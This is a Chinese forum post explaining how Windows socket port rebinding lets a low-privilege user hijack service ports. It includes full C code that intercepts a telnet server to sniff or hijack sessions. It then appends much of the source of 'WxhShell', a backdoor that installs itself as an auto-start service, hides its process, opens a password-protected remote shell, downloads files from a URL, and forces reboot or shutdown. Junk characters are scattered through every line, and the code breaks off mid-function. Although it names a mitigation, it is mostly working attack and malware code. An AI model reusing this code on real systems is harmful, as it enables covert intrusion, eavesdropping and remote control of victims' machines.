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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T$ <l<.Qd  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o:`>r/SlL  
HYd&.*41rE  
  saddr.sin_family = AF_INET; oMM+af  
Q8] lz}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yV;_]_EO  
$ yd "bJK  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |?zFm mh  
uB;\nj5'D  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 a?_!  
m Mp(  
  这意味着什么?意味着可以进行如下的攻击:  y5"b(nb  
2vb{PQ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \Y37wy4  
Dt)O60X3>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) An cka  
SSoD}N  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T7F)'Mx<  
BKd03s=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  CN7 2 E  
^oykimYI-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~353x%e'  
adi^*7Q] )  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R^[b I;  
[(*ObvEF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L[Z SgRTu  
y `)oD0)Fj  
  #include >bgx o<  
  #include # Uc0 W  
  #include Sbf+;:D  
  #include    A*&`cUoA  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W~EDLLZ  
  int main() V:<NQd  
  { 6[\b]I\Q  
  WORD wVersionRequested; Xs,[Z2_iq  
  DWORD ret; {*#}"/:8K  
  WSADATA wsaData; )GbVgYkk  
  BOOL val; 8eAc 5by  
  SOCKADDR_IN saddr; #YABb wH  
  SOCKADDR_IN scaddr; u~JCMM$  
  int err; hxt,%al  
  SOCKET s; g}uVuK;<  
  SOCKET sc; 0uw3[,I   
  int caddsize; pwu8LQ3b{O  
  HANDLE mt; !YM;5vte+  
  DWORD tid;   ,WvCslZ  
  wVersionRequested = MAKEWORD( 2, 2 ); >~+'V.CNW  
  err = WSAStartup( wVersionRequested, &wsaData ); CLQE@kF;  
  if ( err != 0 ) { g8+Ke'=_  
  printf("error!WSAStartup failed!\n"); ceKR?%8s  
  return -1; APne!  
  } D@-'<0=  
  saddr.sin_family = AF_INET; ,McwPHEMB  
   c8R#=^ DD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 t<UtSkE1  
!)!<. x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); y2_^lW%  
  saddr.sin_port = htons(23); do-mkvk  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @bkZ< Gq  
  { %.NOQ<@W  
  printf("error!socket failed!\n"); ITUwIpA E  
  return -1; :)djHPP*  
  } kdr?I9kwW  
  val = TRUE; !F^j\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |z]O@@j$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Xp_3EQl  
  { *>=|"ff  
  printf("error!setsockopt failed!\n"); R)[ l 3  
  return -1; bwr}Ge  
  } O8!> t7x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1vy*u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H#Aar  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l^LYSZg'R8  
|=\w b^l+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) oo+nqc`,O  
  { eD#R4  
  ret=GetLastError(); %-A#7\  
  printf("error!bind failed!\n"); {}Q A#:V  
  return -1; u'm[wjCj c  
  } ?E6*Ef  
  listen(s,2); Pc{0Js5VzE  
  while(1) o3s ME2  
  { ]<Ugg  
  caddsize = sizeof(scaddr); Q5!"tF p  
  //接受连接请求 qGH s2Og  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,(D:cRN  
  if(sc!=INVALID_SOCKET) ^")SU(`  
  { CyWaXp65  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =m+'orJ1  
  if(mt==NULL) iJ7?6)\  
  { + A=*C  
  printf("Thread Creat Failed!\n"); .b3c n  
  break; v?9  
  }  e>FK5rz  
  } UNc[h&@_  
  CloseHandle(mt); H&yK{0H  
  } qjtrU#n  
  closesocket(s);  C0Oe$& _  
  WSACleanup(); h_SDW %($  
  return 0; D:r+3w:l]  
  }   _ @U11|  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8M"0o}wx  
  { >f !  
  SOCKET ss = (SOCKET)lpParam; -0tHc=\u(  
  SOCKET sc; b }^ylm  
  unsigned char buf[4096]; *8a8Ng  
  SOCKADDR_IN saddr; H*h7Y*([  
  long num; +OM9v3qJ  
  DWORD val; 5LIbHSK  
  DWORD ret; gM5`UH|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e 1 yvvi  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (F wWyt  
  saddr.sin_family = AF_INET; 2a\?Q|1C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;q3"XLV(T[  
  saddr.sin_port = htons(23); P:p@Iep  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [ q<Vm-  
  { Z2%ySO  
  printf("error!socket failed!\n"); }u CC~ <^  
  return -1; Kgb 3>r  
  } |3h-F5V)  
  val = 100; YhZmyYamE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \["'%8[:gR  
  { 'f?=ks<  
  ret = GetLastError(); b!pG&7P  
  return -1; Hxw 7Q?F  
  } j$he5^GC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;QiSz=DyA  
  { k9'`<82Y  
  ret = GetLastError(); ^xpiNP!?a  
  return -1;  _xyq25/  
  } Zeeixg-1<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) npJyVh47  
  { 3Dm`8Xt  
  printf("error!socket connect failed!\n"); 7M#irCX  
  closesocket(sc); $v6`5;#u  
  closesocket(ss); X=W.{?  
  return -1; U)3*7D  
  } ly8IrgtKy  
  while(1) }kCaTI?@#  
  { :M |<c9I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qZcRK9l]F1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mfI>1W(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [ITtg?]F  
  num = recv(ss,buf,4096,0); R)<PCe`vf  
  if(num>0) +@ j@#~=K  
  send(sc,buf,num,0); JF+E.-fy$  
  else if(num==0) y\xa<!:g  
  break; v Mi&0$  
  num = recv(sc,buf,4096,0); qkLp8/G>pO  
  if(num>0) 6UXDIg=  
  send(ss,buf,num,0); zj+.MG04  
  else if(num==0) q>E[)\+y  
  break; "s6\l~+9l  
  } &rj)Oh2  
  closesocket(ss); \MY`R  
  closesocket(sc); ?Tr]zxtd  
  return 0 ; .}O _5b(  
  } VY@6!9G  
l?UFe$9(  
5g-AB`6T  
========================================================== A%zX LV=3O  
wS)2ymRg  
下边附上一个代码,,WXhSHELL 3G;#QK -c  
-%g$~MZ?'  
========================================================== 5g$]ou  
k^Gf2%k  
#include "stdafx.h" RTJ\|#w  
t.ci!#/d  
#include <stdio.h> !qQ B}sAf  
#include <string.h> &.ilku/  
#include <windows.h> z+k[HE^S  
#include <winsock2.h> 4fq:W`9sN  
#include <winsvc.h> xe!([^l&  
#include <urlmon.h>  3 cb$g  
65>1f  
#pragma comment (lib, "Ws2_32.lib") 3Aqw )B'"_  
#pragma comment (lib, "urlmon.lib") 'Y%@fZf x  
2# 1G)XI  
#define MAX_USER   100 // 最大客户端连接数 ^_Ap?zn  
#define BUF_SOCK   200 // sock buffer }+F&=-P)  
#define KEY_BUFF   255 // 输入 buffer [ 1$p}x  
GgNqci,  
#define REBOOT     0   // 重启 &6#>a"?"  
#define SHUTDOWN   1   // 关机 FS1> J%P  
3rUuRsXn  
#define DEF_PORT   5000 // 监听端口 )qL UHE=  
mk'$ |2O  
#define REG_LEN     16   // 注册表键长度 A.%MrgOOX  
#define SVC_LEN     80   // NT服务名长度 {wNNp't7  
\%! t2=J!  
// 从dll定义API }=fVO<R v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Wt,t5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #AN]mH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B}&9+2M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v"K #  
?}tWI7KI  
// wxhshell配置信息 L  (#DVF  
struct WSCFG { A'=,q  
  int ws_port;         // 监听端口 Z.iQm{bI  
  char ws_passstr[REG_LEN]; // 口令 ]DO ~7p[  
  int ws_autoins;       // 安装标记, 1=yes 0=no }5??n~:*5  
  char ws_regname[REG_LEN]; // 注册表键名 Pcs62aE  
  char ws_svcname[REG_LEN]; // 服务名 @N%/v*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dh~ cj5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B9[eLh!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dHUcu@,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %^?yI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _^(}6o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,+Bp>=pvs  
w9W0j  
}; K*]^0  
0?0$6F  
// default Wxhshell configuration .GM}3(1fX`  
struct WSCFG wscfg={DEF_PORT, _x&fK$Y)B  
    "xuhuanlingzhe", :1 Y*&s  
    1, nz}} m^-j  
    "Wxhshell", bFv,.(h'  
    "Wxhshell", ^hN.FIzM  
            "WxhShell Service", J,&B   
    "Wrsky Windows CmdShell Service", O9_S"\8]@  
    "Please Input Your Password: ", v1m'p:7uGB  
  1, w9c^IS  
  "http://www.wrsky.com/wxhshell.exe", 97]$*&fH  
  "Wxhshell.exe" qVidubsW  
    }; 9wB}EDZ  
uHNh|ew21  
// 消息定义模块 y. A]un1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Wi5rXZS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M#U#I :z%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e]qbh_A  
char *msg_ws_ext="\n\rExit."; 5'mpd  
char *msg_ws_end="\n\rQuit."; 1vG]-T3VC  
char *msg_ws_boot="\n\rReboot..."; =/6rX"\P  
char *msg_ws_poff="\n\rShutdown..."; nbhzLUK  
char *msg_ws_down="\n\rSave to "; n1mqe*Mvs/  
?;c&5'7ct  
char *msg_ws_err="\n\rErr!"; <8SRt-Cr  
char *msg_ws_ok="\n\rOK!"; KVC$o+<'`%  
|rhCQ"H  
char ExeFile[MAX_PATH]; )= :gO`"D  
int nUser = 0; 8!!iwmH{  
HANDLE handles[MAX_USER]; M.(shIu!+  
int OsIsNt; 5IsRIz[`TK  
N)&(&2  
SERVICE_STATUS       serviceStatus; ,;)1|-^nu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CQ( _$  
?u)[xEx6}+  
// 函数声明 -j<g}IG  
int Install(void); vvDaL$  
int Uninstall(void); `H7V['  
int DownloadFile(char *sURL, SOCKET wsh); i,h)  
int Boot(int flag); eLd7|*|  
void HideProc(void); 4YmN3i  
int GetOsVer(void); R DAihq  
int Wxhshell(SOCKET wsl); {TWgR2?{C  
void TalkWithClient(void *cs); R=/6bR57  
int CmdShell(SOCKET sock); L 2Z9g`>  
int StartFromService(void); 1,/L&_=_A  
int StartWxhshell(LPSTR lpCmdLine); ndY1j5  
t622b?w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |}O9'fyU8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $:aKb#l)  
dl%KD8  
// 数据结构和表定义 #G/ _FRo`  
SERVICE_TABLE_ENTRY DispatchTable[] =  Du*O|  
{ LM~,`#3 Ru  
{wscfg.ws_svcname, NTServiceMain}, pH'1be{K  
{NULL, NULL} G.}Ex!8R7_  
}; _s&sA2r<  
c[DC  
// 自我安装 ju@5D h  
int Install(void) j$f`:A  
{ @uWPo2  
  char svExeFile[MAX_PATH]; JuD$CHg;#  
  HKEY key; N)0I+>, ^  
  strcpy(svExeFile,ExeFile); yU"'h[^  
pR VL}^Rk  
// 如果是win9x系统,修改注册表设为自启动 >UQ`@GdafR  
if(!OsIsNt) { KioD/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZYBK'&J4m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h>l  
  RegCloseKey(key); %NI'PXpI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N;.cZp2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NUclF|G  
  RegCloseKey(key); Ju~8C\Dd  
  return 0; BwN>;g_  
    } gkN|3^  
  } ];|;")#=  
} BU|bo")  
else { `T;M=S^y*E  
?D^l&`S  
// 如果是NT以上系统,安装为系统服务 }g?9 /)z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wJb\Q  
if (schSCManager!=0) 05+uBwH  
{ 0k];%HV|  
  SC_HANDLE schService = CreateService W9$mgs=S`E  
  ( wkp|V{k  
  schSCManager, hgz7dF  
  wscfg.ws_svcname, :h|nV ~  
  wscfg.ws_svcdisp, ,B,2t u2  
  SERVICE_ALL_ACCESS, tvC7LLNP<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @Lj28&4:<  
  SERVICE_AUTO_START, (S@H'G"  
  SERVICE_ERROR_NORMAL, r}gp{Pf7e  
  svExeFile, gda3{g7<)  
  NULL, u/@dWeY[]  
  NULL, aXSTA ,%  
  NULL, wN])"bmB  
  NULL, Z~.3)6,z  
  NULL 05<MsxB"w  
  ); u.}z}'-  
  if (schService!=0) ^PCshb##  
  { D:uBr|('  
  CloseServiceHandle(schService); _a"\g9{%*  
  CloseServiceHandle(schSCManager); CENA!WWQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C7]K9  
  strcat(svExeFile,wscfg.ws_svcname); /}]Irj4m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { } r#by%P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F?LTWm  
  RegCloseKey(key); 0 w"&9+kV  
  return 0; 4YVxRZ1[3  
    } XG5mfKMt+  
  } XZaei\rUn)  
  CloseServiceHandle(schSCManager); C?FUc cI  
} #eqy!QdePf  
} k^pf)*p  
=9oN#4mWK  
return 1; s -Mzl?o  
} ?hu$  
%h ?c  
// 自我卸载 j HOE%  
int Uninstall(void) Q6cF <L`bW  
{ V9 pKb X  
  HKEY key; v :YW[THre  
]hBp elKJ  
if(!OsIsNt) { nnU &R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B=:7N;BT  
  RegDeleteValue(key,wscfg.ws_regname); cD6$C31Y]  
  RegCloseKey(key); @x>J-Owd]J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a9ab>2G?FR  
  RegDeleteValue(key,wscfg.ws_regname); cTKj1)!z?X  
  RegCloseKey(key); :VPZGzK4  
  return 0; <B;l).[6  
  } r )cG ee  
} e1dT~l  
} 5o~;0K]  
else { Ksq{=q-T  
dpO ZqhRs.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); io]e]m%  
if (schSCManager!=0) -vXX u;frt  
{ F3\'WQh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xj/ +Z!,9  
  if (schService!=0) "%aJ 'l2  
  { 'm@0[i  
  if(DeleteService(schService)!=0) { 05zBB  
  CloseServiceHandle(schService); i;1aobG  
  CloseServiceHandle(schSCManager);  R1YRqk  
  return 0; \e5bxc  
  } ta*B#2D>  
  CloseServiceHandle(schService); ( Ck|RojC  
  } o;XzJ#P  
  CloseServiceHandle(schSCManager); JDi|]JY  
} ZGHkW9b&  
} t)n!];  
v1yNVs \}  
return 1; ;Cdrjx  
} .0:t wj  
We#u-#k_O  
// 从指定url下载文件 [N}:Di,S  
int DownloadFile(char *sURL, SOCKET wsh) sXm/+I^  
{ [YY[E 7  
  HRESULT hr; x4cP%{n  
char seps[]= "/"; ocCC63J  
char *token; Si#b"ls'  
char *file; (~P b,Q  
char myURL[MAX_PATH]; |?CR|xqT  
char myFILE[MAX_PATH]; x8Rmap@L.  
3 T$gT  
strcpy(myURL,sURL); i0 ax`37  
  token=strtok(myURL,seps); p4;A[2Ot`:  
  while(token!=NULL) uI7 d?s  
  { !HM|~G7  
    file=token; )miY>7K  
  token=strtok(NULL,seps); 9 ve q  
  } vu[+UF\G  
 9x/HQ(1  
GetCurrentDirectory(MAX_PATH,myFILE); >&mlwxqv  
strcat(myFILE, "\\"); agqB#,i  
strcat(myFILE, file); )6#dxb9  
  send(wsh,myFILE,strlen(myFILE),0); bv`gjR  
send(wsh,"...",3,0); .'C$w1[w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &k+G^ !=s#  
  if(hr==S_OK) W is_N3M  
return 0; 7a Fvj  
else GwHMXtj4  
return 1; Qi' ,[Xmf  
f} g)3+i  
} a;J{'PHu  
F i?2sa  
// 系统电源模块 ^GG6%=g'  
int Boot(int flag) >cEc##:5  
{ ?y82S*sb#  
  HANDLE hToken; Jw'%[(q Q  
  TOKEN_PRIVILEGES tkp; h4x*C=?A  
,.tv#j|A  
  if(OsIsNt) { |Ui1Mm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pmd=3,D'u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i.I iwe0G  
    tkp.PrivilegeCount = 1; w*`5b!+/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i|PQNhUe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d:C-   
if(flag==REBOOT) { Qhb].V{utV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nYG$V)iCb  
  return 0; Kl<qp7o0  
} ^D8 YF  
else { "/Fp_g6#:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :Xc%_&)  
  return 0; E\Hhi.-  
} 59gt#1k  
  } [uP_F,Y/  
  else { DytH } U"  
if(flag==REBOOT) { ;u!qu$O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \D(6t!Ox  
  return 0; zRPXmu{t  
} !_rAAY  
else { AVyO5>w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?ihkV? ;)  
  return 0; tbD>A6&VM}  
} J<Di2b+  
} iLw O4i  
MkZm =Sf  
return 1; u5^fiw]C  
} )K.~A&y@  
+c5z-X$^]  
// win9x进程隐藏模块 xlG/$`Ab  
void HideProc(void) P.mz$M  
{ |r5 np  
kx8\]'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rLO1Sv  
  if ( hKernel != NULL ) |SC^H56+  
  { ocBfs^ aW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f$$l,wo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :&ir5xHS  
    FreeLibrary(hKernel); 3/V&PDC*'  
  }  {h/[!I `  
=?>f[J5  
return; ($EA/|z  
} e9/:q"*)/  
3jQy"9f  
// 获取操作系统版本 [2I1W1pd  
int GetOsVer(void) S 4uX utd  
{ -b+VzVJZ  
  OSVERSIONINFO winfo; IiTV*azVh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _4F(WCco  
  GetVersionEx(&winfo); c}GmS@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k4jZu?\C]  
  return 1; heJI5t,  
  else  nN1\  
  return 0; Yy`\??,  
} gV@FT|j!i  
- &u]B$  
// 客户端句柄模块 Jm&7&si7  
int Wxhshell(SOCKET wsl) bb}zn'xC  
{ mn;;wp  
  SOCKET wsh; mxk :P  
  struct sockaddr_in client; 9r.Os  
  DWORD myID; N"SFVc_2  
|}N -5U  
  while(nUser<MAX_USER) Zg1=g_xY  
{ qYFOHu  
  int nSize=sizeof(client); 0dxEV]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?g gl8bzA  
  if(wsh==INVALID_SOCKET) return 1; U@21N3_@_  
sy`@q<h(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $sK8l=#  
if(handles[nUser]==0) 5v6 x  
  closesocket(wsh); HwTb753  
else P{j2'gg3  
  nUser++; g&eIfm  
  } i]&C=X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ! J`>;&  
&nkYJi(!  
  return 0; Qgx9JJ>  
} dbM~41C6  
o1C1F}gxU  
// 关闭 socket QND{3Q  
void CloseIt(SOCKET wsh) 5(RFk Zn4[  
{ jMv qKJ(<  
closesocket(wsh); ?'ID7mL  
nUser--; &#!5I;3EN  
ExitThread(0); EH{m~x[Ei  
} ~L\KMB/9e=  
#M kXio; h  
// 客户端请求句柄 -7E)u  
void TalkWithClient(void *cs) zOJ4I^^  
{ KMC]<  
rTTde^^_  
  SOCKET wsh=(SOCKET)cs; Q@]~O-  
  char pwd[SVC_LEN]; _8x:%$   
  char cmd[KEY_BUFF]; u#(VR]u\7  
char chr[1]; {Q9?Q?  
int i,j; M)4-eo  
~q]@Jp  
  while (nUser < MAX_USER) { _9yb5_  
 v?Dc3  
if(wscfg.ws_passstr) { FYPv:k   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;e,_F/@`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q.sErr[zc  
  //ZeroMemory(pwd,KEY_BUFF); tt5t(+5j  
      i=0; 9e|-sn  
  while(i<SVC_LEN) { Ze+p;v  
'}#=I 9=ss  
  // 设置超时  I/YBL  
  fd_set FdRead; OpFe=1Q  
  struct timeval TimeOut; )CgKZ"  
  FD_ZERO(&FdRead); @BQJKPF*  
  FD_SET(wsh,&FdRead); x\( @ v  
  TimeOut.tv_sec=8; iF]G$@rbU  
  TimeOut.tv_usec=0; y!_*CYZ~m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S,ZlS<Z#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MLD1%* &0  
ay~c@RXW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {"{kWbXZ  
  pwd=chr[0]; matW>D;J  
  if(chr[0]==0xd || chr[0]==0xa) { h-r\ 1{Q1]  
  pwd=0; =' %r"_`}  
  break; \j C[|LM&  
  } - Q3jK)1  
  i++; >s0A.7,5  
    } +xoh=m  
Z;M}.'BE  
  // 如果是非法用户,关闭 socket Fuq MT`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {qxFRi#\k  
} WX.6|  
QuFzj`(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); akR+QZ,)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o[=h=&@5p  
|,YyuCQcL[  
while(1) { 6.#5Ra   
B%y?+4;zA  
  ZeroMemory(cmd,KEY_BUFF); pXn(#n<  
%[3?vX  
      // 自动支持客户端 telnet标准   HC1jN8WDY  
  j=0; 117`=9F  
  while(j<KEY_BUFF) { *xHj*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =AaTn::e/  
  cmd[j]=chr[0]; }ACWSkWK  
  if(chr[0]==0xa || chr[0]==0xd) { (!'=?B "  
  cmd[j]=0; /hrVnki*  
  break; *[XVkt`H  
  } _#f+@)vR  
  j++; `)i'1E[9  
    } W^U6O&-K  
,orq&#*Wd  
  // 下载文件 kT7x !7C  
  if(strstr(cmd,"http://")) { <HYK9{Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LYTx8  
  if(DownloadFile(cmd,wsh)) SNLZU%jan  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d}d1]@Y\  
  else jVW .=FK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1=U(ZX+u  
  } %w9/ gD  
  else { Z"ce1cB  
k[_)5@2  
    switch(cmd[0]) { vI84= n  
  W~" 'a9H/  
  // 帮助 gteG*pi  
  case '?': { XSfl'Fll D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zY11.!2  
    break; ~Qg:_ @@\  
  } LUPh!)8  
  // 安装 tccw0  
  case 'i': { ,=Q;@Z4 vJ  
    if(Install()) /R/\>'{E&c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kp]\r-5UD>  
    else z2.9l?"rfQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .8.4!6~@  
    break; x6n(BMr  
    }  F,hiKq*  
  // 卸载 v8{ jEAK  
  case 'r': { , ZisJksk  
    if(Uninstall()) #\P\(+0K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3y# U|&]{  
    else k U75  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f0^;*Y  
    break; (ncm]W  
    } jH5VrN*Q  
  // 显示 wxhshell 所在路径 ^ <$$h  
  case 'p': { s (2/]f$  
    char svExeFile[MAX_PATH]; vHydqFi9  
    strcpy(svExeFile,"\n\r"); \zx &5a #  
      strcat(svExeFile,ExeFile); ~]w|ULNa3|  
        send(wsh,svExeFile,strlen(svExeFile),0); _ ^2\/@  
    break; # dA-dN  
    } o$4i{BL  
  // 重启 v0aV>-v  
  case 'b': { H\>0jr `  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rd )_*{  
    if(Boot(REBOOT)) >$/<~j]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ce&Q}_  
    else { xr*%:TwCta  
    closesocket(wsh); CjQ)Bu *4  
    ExitThread(0); "e-RV  
    } tyI !y~-z  
    break; $`a>y jma  
    } >b1#dEY  
  // 关机 a1 Kh  
  case 'd': { 4uX|2nJ2!;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8\lRP,-  
    if(Boot(SHUTDOWN)) mJ #|~I*Z-  
